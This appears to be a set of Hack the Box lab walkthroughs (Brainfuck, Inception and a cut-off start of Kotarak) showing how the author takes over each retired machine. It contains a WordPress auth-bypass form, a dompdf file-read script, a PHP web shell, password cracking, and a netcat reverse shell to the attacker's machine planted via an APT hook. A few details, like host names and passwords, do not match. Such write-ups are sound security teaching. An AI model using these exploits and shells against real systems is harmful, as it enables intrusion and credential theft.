root@kali:~/htb/brainfuck# sudo wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u

From wpscan result I grabbed the vulnerability in wordpress plug-in “support plus responsive ticket system” for Remote code execution as highlighted below.

Moreover it dumped two login user name “admin & administrator

With help of Google I search associated exploit for compromising victim’s credential and found exploit 41006 as shown below.

Inside this I saw html form code for remote code execution, now copy it and paste it into a text document.

Here please notice the changes I had made by adding “value: admin as username and orestis@brainfuck as email and target URL in action https://brainfuck” and saved it as wp.html on desktop.

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>

Then I run Python script for file transfer via port 8000.

c:\Python37>python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [10/Dec/2018 12:13:54] code 404, message File not found
127.0.0.1 - - [10/Dec/2018 12:13:54] "GET /favicon.ico HTTP/1.1" 404 -
127.0.0.1 - - [10/Dec/2018 12:14:05] "GET /wp.html HTTP/1.1" 304 -
192.168.178.16 - - [10/Dec/2018 12:59:01] "GET /id_rsa HTTP/1.1" 200 -

Then explore wp.html file in localhost server as shown below and click on login tab.

 

By doing so You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().Then you can go to admin panel by visiting https://brainfuck.htb once again.

 

 

Inside admin dashboard I looked at plugin for further step where I found SMTP plug-in.

It was terrific moment when I saw user authentication login are filled in text field. So I read username “orestis” but password was in bold character, which I need to convert in plain text using inspect element.

Wonderful!! Here is orestis plain text password value kIEnnfEKJ#9UmdO , let’s use them for smtp login.

 

Through telnet command: telnet 10.10.10.17 110 we established connection with SMTP server and login into orestis account, now for reading orestis inbox messages I ran retr 1 command but didn’t get any useful message and move to another message by running retr 2.

telnet 10.10.10.17 110
+OK Dovecot ready.
user orestis
+OK
pass kHGuERB29DNiNE+OK Logged in.
retr 2
+OK 514 octets
Return-Path: <root@brainfuck.htb>
X-Original-To: orestis
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 0)
id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: Forum Access Details
Message-Id: <20170429101206.4227420AEB@brainfuck>
Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
From: root@brainfuck.htb (root)

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

Regards

Here I found something very crucial that there is username and password for any “Secret” forum for login and after deep-thinking I realized this credential could be connected to sup3rs3cr3t.brainfuck.htb which I had explored in web browser.

Again I explore https:\\sup3rs3cr3t.brainfuck.htb then submit above found credential and got successful login.

It showing super-secret forum which is pointing towards any secret discussion chat inside “Key” and “SSH Access”

Inside “Key” I notice chatting between admin and orestis which was going beyond my sense. Might be orestis and admin are sharing some confidential information in this secret chat but in last reply of admin it looked like he is secretly sharing any encrypted URL.

Then I open “ssh access” Ahhhh!!! It was an English conversation where admin is giving suggestion to use Key for login instead of simple password. And by reading all conversation I concluded that orestis has lost SSH login key and asking admin to send the key in an encrypted chat that we saw above “Key” (secret discussion).

Time to decrypt their conversation for getting ssh login key but don’t know from where to start. After spending so much time and efforts at last I successfully decrypted and found ssh login key.

Now you’re Question: How it become possible?

And my answer is: observe the given below step carefully:

From both chat “Key” and “ssh access” I copied following text into a text file respectively and removed the space provided between the word as shown in below.

Pieagnm - Jkoijeg nbw zwx mle grwsnn (message in cipher text)

Orestis - Hacking for fun and profit (decrypt key in plain text)
Considering cipher text is encrypted information and plaintext as decrypting key.

With help of online decipher I had pasted above cipher text inside encipher textbox and decryption key inside decipher textbox and received decipher message“BrainfuCkmybrainfuckmybrainfu”

If you remember we had obtained encrypted URL from inside “Key” discussion, go for its decryption using above decipher message “fuckmybrain” as decrypting key. It took much time to identify proper encryption algorithm used for encrypting URL and we have successfully decrypt it with the help Vigerner cipher. It gave a plaintext URL for downloading id_rsa for ssh login as orestis.

From given below image you can observe that I have added encrypted URL in encrypted text field and used “fuckmybrain” as decrypting key and obtain Plain text URL.

Path to download key is: https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

When I tried to open this file, then found that it required password to view its content.

Formerly I download a python script from

https://github.com/truongkma/ctf-tools/blob/master/John/run/sshng2john.py

for cracking the password of this file. Then I ran following command and got desired output.

root@kali:~/htb/brainfuck# python sshng2john.py id_rsa > rsa2john.txt
root@kali:~/htb/brainfuck# john rsa2john.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH-ng [RSA/DSA 32/64])
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia! (id_rsa)
1g 0:00:00:30 DONE (2018-12-10 09:33) 0.03302g/s 473698p/s 473698c/s 473698C/s *7¡Vamos!
Session completed

And without wasting time I executed following command for login into SSH using 3poulakia! as password.

root@kali:~/htb/brainfuck# ssh -i id_rsa orestis@10.10.10.17

Great!!  I logged in successfully, now let’s finish the task by grabbing user.txt and root.txt file. First I checked for available files in current directory which are inside it.

Apart from user.txt I found three more files in this directory and when I open these file I got hint for Root Flag! Now follow below steps if you are also looking for root flag.

When I read content of encrypt.sage, it was pointing towards encrypted password within debug.txt and output.txt

When I open debug.txt and output.txt, here I saw encrypted information then again I chased towards Google for any help in such type of encryption and luckily found a decrypting script from this link: http://dann.com.br/alexctf2k17-crypto150-what_is_this_encryption/ and after that copied entire script into text file for decryption.

As describe in crypto150 algorithm I placed 1st, 2nd & 3rd line of debug.txt equal to p, q, e respectively. Ct is equal to content of output.txt as shown below and saved it as decrypt.py

root@kali:~/htb/brainfuck# cat decrypt.py 
#!/usr/bin/python
## RSA - Given p,q and e.. recover and use private key w/ Extended Euclidean Algorithm - crypto150-what_is_this_encryption @ alexctf 2017
# @author intrd - http://dann.com.br/ (original script here: http://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e)
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/

import binascii, base64

p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

n = p*q #product of primes
phi = (p-1)*(q-1) #modular multiplicative inverse
gcd, a, b = egcd(e, phi) #calling extended euclidean algorithm
d = a #a is decryption key

out = hex(d)
print("d_hex: " + str(out));
print("n_dec: " + str(d));

pt = pow(ct, d, n)
print("pt_dec: " + str(pt))

out = hex(pt)
out = str(out[2:-1])
print "flag"
print out.decode("hex")

root@kali:~/htb/brainfuck# python decrypt.py 
d_hex: 0xc6eccf2d2584044e2173cf0efa88f839ee184df56ce3e6aa450cfcdf9e5ec8b4d8123c2cd57ee4bf7c84e423941191ec57a7944e31327a722143edc1981ecf24bd9b389d673a1bd44288103e501f46994b700ac1abcb15339ff0750566957064605eb9205d159360fb6b907b39ee98683b0f6f418619fcb1665c4c7fa7984e9L
n_dec: 8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt_dec: 24604052029401386049980296953784287079059245867880966944246662849341507003750
flag
6ef*****b8ef


we have completed the challenge successfully.

Author: Jacco Straathof

HTB – Inception

Today we are going to solve another CTF challenge “Inception”. Inception is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Hard

Task: To find user.txt and root.txt

Let’s start off with our basic nmap command to find out the open ports and running services.

root@kali:~/htb/inception# nmap -sV 10.10.10.67

Starting Nmap 7.50 ( https://nmap.org ) at 2018-12-08 14:46 EST
Nmap scan report for 10.10.10.67
Host is up (0.079s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
3128/tcp open  http-proxy Squid http proxy 3.5.12

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.93 seconds

The squid proxy let’s us pass through without providing any credentials so we’re able to browse the localhost of the server. As for port 80 let’s fire up gobuster and see if any directories show up.

root@kali:~/htb/inception# gobuster -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.67 

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.67/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/big.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/assets (Status: 301)
/dompdf (Status: 301)
/images (Status: 301)
=====================================================

dompdf stands out. Let’s check it out.

dompdf

And we identify the version.

domversion

And we find that this version is indeed vulnerable.

https://www.exploit-db.com/exploits/33004/

Let’s verify the LFI.

root@kali:~/htb/inception# curl http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd
%PDF-1.3
~
~
~
0.000 0.000 0.000 rg
BT 34.016 734.579 Td /F1 12.0 Tf  [(cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3NoZDp4OjEwNjo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpjb2JiOng6MTAwMDoxMDAwOjovaG9tZS9jb2JiOi9iaW4vYmFzaAo=)] TJ ET
~
~
~
root@kali:~/htb/inception# vim passwd
root@kali:~/htb/inception# cat passwd | base64 --decode
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash

I’ve truncated a lot of the noise that we get from the pdf and put the base64 into a file, then decoded. This process is very cumbersome to do over and over. So to speed up enumeration I used a python script to do it all easily.

lfi.py

#!/usr/bin/env python3
import base64
import urllib.request
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("file")
args = parser.parse_args()


url = 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource='

try:
	req = urllib.request.urlopen(url + args.file)

	output = req.read()
	
	if output:
		string = output.decode()
		result = string[string.find("[(")+2:string.find(")]")]
		decoded = base64.b64decode(result).decode('utf8')
		print(decoded)

except urllib.error.HTTPError:
	print("File cannot be downloaded")

So now we can simply call the script and feed our desired filename as a parameter as such:

root@kali:~/htb/inception# ./lfi.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash

Much easier. Also note here that cobb could be a possible user for us to target later.

After a lot of config enumeration we find this in the apache default virtual host config file:

root@kali:~/htb/inception# ./lfi.py /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
	Alias /webdav_test_inception /var/www/html/webdav_test_inception
	<Location /webdav_test_inception>
		Options FollowSymLinks
		DAV On
		AuthType Basic
		AuthName "webdav test credential"
		AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
		Require valid-user
	</Location>
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

We’ve found a webdav directory, excellent. Let’s go ahead and grab that passwd file.

root@kali:~/htb/inception# ./lfi.py /var/www/html/webdav_test_inception/webdav.passwd
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

Now we can crack the hash with hashcat.

PS C:\hashcat-3.5.0> .\hashcat64.exe -m 1600 -a 0 .\inception.txt .\rockyou.txt
hashcat (v3.5.0) starting...

Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14343296
* Bytes.....: 139921497
* Keyspace..: 14343296

$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0:babygurl69

And now we have our username webdav_tester and the password babygurl69.

My first thought here was to go ahead and upload a simple php reverse shell. puck.php

<?php echo system($_REQUEST['puck']); ?>

you could also do it with an excellent tool called phpbash that you can find herephpbash will give us a nice terminal like interface to work with, let’s upload it using curl

root@kali# curl -vvv --upload-file puck.php http://10.10.10.67/webdav_test_inception/puck.php --user webdav_tester:babygurl69

And now we can browse to our file and test command execution.After looking around in /var/www/html we find an old wordpress folder that no longer seems active. Inside we can see the wp-config.php that contains database credentials.

 

/** MySQL database password */
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');

So now we have a password but SSH isn’t open on the box. We’ll need to do some more enumeration. We already know the squid proxy allows us to pass traffic through it, so we can try to enumerate the box through the proxy and see if SSH is open that way. To do this we  use proxychains

root@kali# vi /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 127.0.0.1 9050
http 10.10.10.67 3128

root@kali# proxychains nmap -sT -p 22 -n 127.0.0.1
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-07 08:56 EST
|S-chain|-<>-10.10.10.67:3128-<><>-127.0.0.1:22-<><>-OK
Nmap scan report for 127.0.0.1
Host is up (0.057s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.15 second

Now we can SSH to 127.0.0.1 using the name we found earlier and the password found in wp-config.php.

root@kali:~/htb/inception# ssh cobb@127.0.0.1
cobb@127.0.0.1's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Thu Dec 09 14:08:23 2018 from 127.0.0.1
cobb@Inception:~$

Now we can grab the user.txt flag!

Privilege Escalation

We quickly see that cobb has full sudo permissions and we can escalate to root instantly. However we are only left with a clue inside of root.txt.

cobb@Inception:~$ sudo -l
[sudo] password for cobb: 
Matching Defaults entries for cobb on Inception:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cobb may run the following commands on Inception:
    (ALL : ALL) ALL
cobb@Inception:~$ sudo bash
root@Inception:~# 

root@Inception:/root# cat root.txt 
You're waiting for a train. A train that will take you far away. Wake up to find root.txt.

Again, we’ll need to do more enumeration to see where we need to go from here. If we check netstat we see something interesting.

root@Inception:/# netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:35886         127.0.0.1:22            ESTABLISHED
tcp        0      0 127.0.0.1:22            127.0.0.1:35886         ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::3128                 :::*                    LISTEN     
tcp6       0     36 192.168.0.10:3128       192.168.0.1:42354       ESTABLISHED

We see another IP address, 192.168.0.1 is connected to the squid port on the box we are currently on. nc is on our box so let’s do a quick port scan with it on our newly found target.

root@Inception:~# nc -zv 192.168.0.1 1-65535 2>&1 | grep -v "refused"
Connection to 192.168.0.1 21 port [tcp/ftp] succeeded!
Connection to 192.168.0.1 22 port [tcp/ssh] succeeded!
Connection to 192.168.0.1 53 port [tcp/domain] succeeded!

Let’s also check UDP.

root@Inception:~# nc -zvu 192.168.0.1 1-100 2>&1 | grep -v "refused"
Connection to 192.168.0.1 53 port [udp/domain] succeeded!
Connection to 192.168.0.1 67 port [udp/bootps] succeeded!
Connection to 192.168.0.1 69 port [udp/tftp] succeeded!

So we have a few ports to look at. Our current SSH credentials unfortunately do not work so we’ll have to do some more enumeration with ftp. Lucky for us anonymous ftp is enabled.

root@Inception:/root# ftp 192.168.0.1
Connected to 192.168.0.1.
220 (vsFTPd 3.0.3)
Name (192.168.0.1:cobb): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Nov 30 18:34 bin
drwxr-xr-x    3 0        0            4096 Nov 30 18:34 boot
drwxr-xr-x   19 0        0            3920 Jan 17 03:35 dev
drwxr-xr-x   93 0        0            4096 Nov 30 18:34 etc
drwxr-xr-x    2 0        0            4096 Nov 06 09:02 home
lrwxrwxrwx    1 0        0              33 Nov 30 18:29 initrd.img -> boot/initrd.img-4.4.0-101-generic
lrwxrwxrwx    1 0        0              32 Nov 06 08:01 initrd.img.old -> boot/initrd.img-4.4.0-98-generic
drwxr-xr-x   22 0        0            4096 Nov 30 18:34 lib
drwxr-xr-x    2 0        0            4096 Oct 30 06:25 lib64
drwx------    2 0        0           16384 Oct 30 06:25 lost+found
drwxr-xr-x    3 0        0            4096 Oct 30 06:25 media
drwxr-xr-x    2 0        0            4096 Aug 01 11:16 mnt
drwxr-xr-x    2 0        0            4096 Aug 01 11:16 opt
dr-xr-xr-x  195 0        0               0 Jan 17 03:35 proc
drwx------    6 0        0            4096 Nov 08 08:48 root
drwxr-xr-x   26 0        0             940 Jan 17 06:25 run
drwxr-xr-x    2 0        0           12288 Nov 30 18:28 sbin
drwxr-xr-x    2 0        0            4096 Apr 29  2017 snap
drwxr-xr-x    3 0        0            4096 Nov 06 05:24 srv
dr-xr-xr-x   13 0        0               0 Jan 17 03:35 sys
drwxrwxrwt   10 0        0            4096 Jan 17 16:26 tmp
drwxr-xr-x   10 0        0            4096 Oct 30 06:25 usr
drwxr-xr-x   13 0        0            4096 Oct 30 06:31 var
lrwxrwxrwx    1 0        0              30 Nov 30 18:29 vmlinuz -> boot/vmlinuz-4.4.0-101-generic
lrwxrwxrwx    1 0        0              29 Nov 06 08:01 vmlinuz.old -> boot/vmlinuz-4.4.0-98-generic
226 Directory send OK.

We are also able to download most files, but we are not able to put anything on the system through FTP.

After filtering through many files we find something interesting in the crontab.

ftp> get crontab
local: crontab remote: crontab
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for crontab (826 bytes).
226 Transfer complete.
826 bytes received in 0.00 secs (14.8629 MB/s)
ftp> exit
221 Goodbye.
root@Inception:/root# cat crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 *	* * *	root	apt update 2>&1 >/var/log/apt/custom.log
30 23	* * *	root	apt upgrade -y 2>&1 >/dev/nul

So we can see that every 5 minutes apt-update is running. custom.log doesn’t have anything useful in it besides telling us when it’s running. What is useful is that we are able to run commands everytime apt-updateruns by placing a file inside /etc/apt/apt.conf.d.

Our format for the file content is: APT::Update::Pre-Invoke {"command"} and we will need to name our file with numbers prefixed. So we’ll use 00command as our file name.

send bash one liner reverse shell

root@Inception:/tmp# cat puck.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f

root@Inception:/tmp# cat 00command 
APT::Update::Pre-Invoke {"/bin/bash /tmp/puck.sh"}

root@Inception:/tmp# tftp 192.168.0.1
tftp> put puck.sh /tmp/puck.sh
Sent 93 bytes in 0.0 seconds
tftp> put 00command /etc/apt/apt.conf.d/00command
Sent 52 bytes in 0.0 seconds
tftp> 

now we wait 5 minutes and have a shell

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
10.10.10.67: inverse host lookup failed: Unknown host
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.67] 55992
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# cat root.txt
8d1*****359

Author: Jacco Straathof

HTB – Kotarak

Today we are going to solve another CTF challenge “Kotarak”. Hawk is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Hard

Task: To find user.txt and root.txt

Let’s start off with our basic nmap command to find out the open ports and running services.

root@kali# nmap -A -p- 10.10.10.102
Starting Nmap 7.50 ( https://nmap.org ) at 2018-06-12 04:32 EST
Warning: 10.10.10.55 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.55
Host is up (0.16s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 8.5.5
60000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3856.06 seconds

Web:- PORT:- 8080

1
Tomcat 8.5.5 is running2
To access it we need a valid password, let’s find it.

Port:- 600003
On this port a private web service is running which access the file from internal system, let’s enumerate it further45
There is no output, and the server is running a url.php and we also need to specify a path which Maybe running in some internal port,So we need to find the correct internal port first.
for i in $(seq 1 1000); do echo $i; curl -X GET http://10.10.10.55:60000/url.php?path=http://localhost:$i/ 2> /dev/null | tr -d “\n”; done
this will ping all the internal port 1 by 1 and if it get’s any response it will show it to us in the output.

887
888
<html xmls="http://www.w3.org/1999/xhtml" xml:lag="e" lag="e">
<head>
